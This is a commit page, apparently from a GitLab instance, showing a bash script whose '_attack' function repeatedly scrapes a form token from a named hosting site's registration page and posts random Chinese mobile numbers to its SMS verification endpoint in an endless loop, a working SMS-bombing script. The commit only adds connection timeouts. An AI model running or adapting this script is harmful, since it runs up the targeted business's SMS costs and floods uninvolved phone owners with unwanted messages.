Commit d67ec1d0 authored by nanahira's avatar nanahira

fix timeout

parent 6e392c97
Pipeline #2892 passed with stages
in 2 minutes and 9 seconds
#!/bin/bash
_attack() {
mobile=13$((RANDOM % 9000 + 1000))$((RANDOM % 90000 + 10000))
token=$(curl -sL 'https://www.coalcloud.net/register.php' | grep -oP '<input type="hidden" name="token" value="[a-z0-9]+" />' | sed 's/<input type="hidden" name="token" value="//g;s/" \/>//g')
curl -sL -X POST 'https://www.coalcloud.net/modules/addons/SMS_Verification/action.php?action=send' -d "phone=$mobile" -d "token=$token" | jq
token=$(curl -sL --connect-timeout 30 'https://www.coalcloud.net/register.php' | grep -oP '<input type="hidden" name="token" value="[a-z0-9]+" />' | sed 's/<input type="hidden" name="token" value="//g;s/" \/>//g')
curl -sL --connect-timeout 30 -X POST 'https://www.coalcloud.net/modules/addons/SMS_Verification/action.php?action=send' -d "phone=$mobile" -d "token=$token" | jq
}
for ((;;)); do
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment